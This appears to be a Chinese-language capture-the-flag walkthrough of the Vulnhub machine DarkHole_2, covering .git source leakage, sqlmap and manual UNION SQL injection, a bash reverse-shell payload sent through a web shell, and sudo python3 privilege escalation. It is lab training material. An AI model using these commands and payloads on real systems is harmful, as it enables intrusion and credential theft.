Vulnhub——DarkHole_2


下載好DarkHole_2后,用VMware打開,開始:
首先探測靶機地址:arp-scan -l

可以看到我的IP:192.168.1.104
靶機IP:192.168.1.105
先端口掃描一波吧:nmap -T4 -A -v -p- 192.168.1.105
開啟了22、80端口

訪問80端口,只有一個登陸頁面,

嘗試了一下萬能密碼啥的,沒用,但是仔細觀察nmap掃描結果,可以發現存在/.git/目錄,也就意味着存在源碼泄露,首先想到的是利用GitHack。

下載GitHack:git clone https://github.com/lijiejie/GitHack.git
使用python GitHack.py http://192.168.1.105/.git 即可源碼下載到本地。(GitHack是一個.git泄露利用測試腳本,通過泄露的文件,還原重建工程源代碼)

在這里,通過翻看文件,可以發現幾個點:
/config/config.php:里面存在一條MySQL相關的語句

login.php:可以看到登陸界面,對用戶名和密碼的處理邏輯

index.php:在這里面發現了一個熟悉的".php?id=",去瀏覽器訪問一下

無權限

到這里思路卡住了,參考了別的文章發現,/.git 源碼泄露的利用方式,如果采用GitHack的話,在某些情況下會不太實用。
★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
使用 wget 下載 git 存儲庫。
wget -r http://192.168.1.105/.git

下載了 .git 目錄后,使用git clone . webapp 命令會將該目錄創建一個webapp的源碼文件,可以在其中執行所有 git 操作。

在創建的webapp文件下使用git log ,發現在git日志當中存在修改記錄,切換到該條記錄下(git reset --hard commit_id///git reflog),在login.php文件當中發現了一個用戶名和密碼:

去登陸頁面:lush@admin.com/321 ,登錄成功

在這里熟悉的.php?id= 又出現了,在本地就直接上sqlmap一把梭,在F12去獲取一下cookie:

python sqlmap.py -u "http://192.168.1.105/dashboard.php?id=1" --cookie="PHPSESSID=m3sobdta513vnj0b5m8aplbr7h" --batch
可以發現,是存在注入的

跑一下數據庫和表:

存在兩個表ssh和users,都--dump一下:python sqlmap.py -u "http://192.168.1.105/dashboard.php?id=1" --cookie="PHPSESSID=m3sobdta513vnj0b5m8aplbr7h" --batch -D darkhole_2 -T ssh --dump

只有ssh存在的信息是有用的:ssh jehad@192.168.1.105

連接成功,查一下相關信息,並准備提權:


存在python3 ,先使用一波:python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' ,但是失敗了

准備嘗試查找SUID文件,但是沒有可用的
find / -user root -perm -4000 -print 2>/dev/null

查看定時任務:cat /etc/crontab

定時任務存在一個9999端口的web服務,訪問一下是連接失敗的

嘗試把這個9999端口轉發到本地
ssh -L 9999:127.0.0.1:9999 jehad@192.168.1.105

查看對應目錄下的文件: cd /opt/web ,發現是一個cmd馬

並且是可以執行的

在建立一個反向shell ,本地 nc -nlvp 4444 監聽4444端口
shell payload如下:bash -c 'bash -i >& /dev/tcp/192.168.1.104/4444 0>&1'

由於是通過Get方式執行payload,於是采用url編碼一下:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.104%2F4444%200%3E%261%27

監聽成功:

嘗試python獲取交互式shell:python3 -c 'import pty;pty.spawn("/bin/bash")'

查看了一番,在歷史文件 .bash_history 當中發現了一個密碼:more ~/.bash_history ————————————losy:gang

查看一下用戶權限:sudo -l

存在(root)/usr/bin/python3
利用一下:(這里最開始忘了加上 sudo 。。。。)
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
or
sudo python3 -c 'import os; os.system("/bin/bash")'

提權成功

★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★

補一下手工sql注入過程,copy
1】列數
id=1' ORDER BY 6 -- -
id=1' ORDER BY 7 -- -

This gives an error suggesting the 7th column doesn't exist

2】回顯點
id=NULL' UNION ALL SELECT 1,2,3,4,5,6 -- -

3】數據庫名稱
NULL' UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata -- -

4】表名
id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2'-- -

5】列名
id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh'-- -

6】獲取表信息
id=NULL' UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh-- -


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM